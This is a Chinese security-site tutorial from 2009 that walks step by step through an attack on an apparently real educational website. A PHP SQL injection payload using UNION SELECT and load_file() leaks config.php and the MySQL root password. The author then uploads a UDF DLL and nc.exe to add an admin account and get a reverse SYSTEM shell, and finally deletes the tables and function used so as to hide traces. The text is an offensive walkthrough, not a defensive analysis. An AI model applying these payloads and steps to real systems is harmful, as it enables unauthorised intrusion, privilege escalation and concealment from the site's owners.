业界 | 信息 | 基础 | 配置 | 安全 | 系统 | 方案 | 协议 | 硬件 | 下载 | 制度 | 漏洞 | 解密 | 群集 | 论文 | 导购 | 数据库 | 反病毒 | 反黑客 | 白皮书 | 负载均衡 | Windows | Linux | Unix |
热门搜索:  安全  ?务器  IIS  VMWare  微软  企业  网络  黑客  win  sql RSS订阅
服务器安全资讯网

服安最新信息资讯

服务器安全资讯网

服安资讯热点推荐

服务器安全资讯网

服安资讯阅览排行

信息安全法律法规

服务器安全技术资讯

服安解决方案

PHP注入+MYSQL=SYSTEM权限

来源:服安资讯   时间:2009-11-23  作者:fuancn  点击:次  责任编辑:Flyfox
TAG:   System PHP Mysql 权限 注入   服务器安全应急处理中心:让您的服务器更安全!  进入安全讨论社区 

摘要:
研究了mysql提权的问题后,我们不难想到,如果没有弱口令怎么办呢?暴力破解?太需要运气了!其实结合php注入是

研究了mysql提权的问题后,我们不难想到,如果没有弱口令怎么办呢?暴力破解?太需要运气了!其实结合php注入是很容易搞定的~下面我就用php注入来演示一下,和我一样菜的朋友们注意啦,开始实践啦!
找到一个站,它的软件下载部分存在php注入漏洞。随便再一个有漏洞的地方加了一个引号,报错了,如图一:

 


得到了网站路径了~,但是我们的目标是得到mysql的密码,而这个密码啦,一般是在config.php里面的。所以我们只需要爆出 config.php的内容就好说了!php注入爆文件的内容当然是采用load_file(),可是,load_file需要知道完整的路径,难道我们 去猜?当然不,我们先来爆图1报错得到文件名,因为一般这些文件都有这种语句:require(“包含的php文件的路径”),而这个一般都会有包括 config.php的。好,看我来做:


要用load_file()当然得用union了,猜字段这种事情很枯燥的,我们可以利用一些辅助工具(当然如果你有casi4.0这种极 品工具就更好了,但是穷人用不起啊!)。我介绍一个我用的工具PHPSend.exe,猜字段数目的好工具!使用也很简单!利用他,我得到了字段数目,如 图2:


19个字段,其中第12个字段对应图1

中的简介位置,好,我们开始报global.php的路径,先把绝对路径转化为16进制形式,同时考虑到是爆php文件的内容,为了避免php执行 后,无法全部显示所有文件内容,我们把中的“?”替换为“@”,就可以全部显示了!如何替换?我们用这个:replace(load_file(0x绝对 路径16进制值),0x3F,0x40) 

 

注:0x3F对应“?”,0x40对应“@”。我们提交:

http://xxx.xxx.edu.cn/study/show.php?id=244%20and%201=2%20union%20select%201,2,3,4,5,6,7,8,9,10,11,replace(load_file(0x443A5C……绝对路径),0x3F,0x40),13,14,15,16,17,18,19

 

好,我们爆出了文件内容,他确实也包含了config.php文件,如图3.:

看到了config.php的路径了把~。好,我们继续爆它的内容,如图4:

 

看到了吧~,我们得到了mysql的密码!


用mysql里面的工具,mysql.exe来连接对方:

 

E:\mysql>mysql -u root -h 对方的ip –p


好了,下面就简单了,先上传dll文件,这里我们选用sysudf.dll,还是使用那个sysudf.dll.txt的脚本来上传:

Mysql>\. E:\mysql\sysudf.dll.txt

 

脚本运行完毕后,然后导出为dll文件,如图5:

这里需要注意的是,不同的系统的,请注意路径不一样,如果是2003的系统你最好导出到c:\windows这个目录,不然会有爆错的~

再来创建函数,如图6:

 


这里,只要你的dll文件路径和上一部一致即可。但是要注意,由于mysql的转义了一些字符,所有的路径,都必须用“\\”,否则导出讲不成功!


好了,这时如果对方有3389的话,你就可以直接用:select sys_name(‘net user admin admin /add');来添加用户了,可惜我这台机器没有开3389,我们用同样的方法上传并导出nc.exe,然后执行操作,如图7:

这时你的本地监听的端口,将得到一个反弹的shell,如图8:

 
好, 这个system权限的shell我们已经拿到(如果你有什么命令输入不对,这个sys_name函数是可以反复执行的,不用担心哦,再来一次就可以 了!)。可是任务还没有完成哦~别急着闪人先!我们还没有擦掉痕迹啊!我们为了上传sysudf.dll和nc.exe一共建立了两个临时 表:temp1,temp3,我们用drop table 表名;来删除表。然后我们还建立sys_name函数,我们用:drop function sys_name;来删除函数!最后,show tables;来看看有没有清理干净,而select * from func;可以察看mysql里面的所有函数。 

顶一下
(2)
100%
踩一下
(0)
0%
服务器安全维护网:为您的服务器安全、稳定运行助航,提供服务器全方面的技术支持服务! 服务器安全资讯网(Fuancn.CN)登载此文仅为传递更多信息之目的,并不意味着赞同其观点或证实其描述。
  • 本文引用地址:双击复制发送给您的朋友!
  • 上一篇:mix.dll提权常用,mysql提权 下一篇:PHP主机如何利用MYSQL提权

    - 关于本站 - 网站地图 - 百度新闻 - 版权申明 - 合作伙伴 - 安全服务 - 服安公告 - 常见问题 - 技术Q群 - 在线留言 - 联系我们 -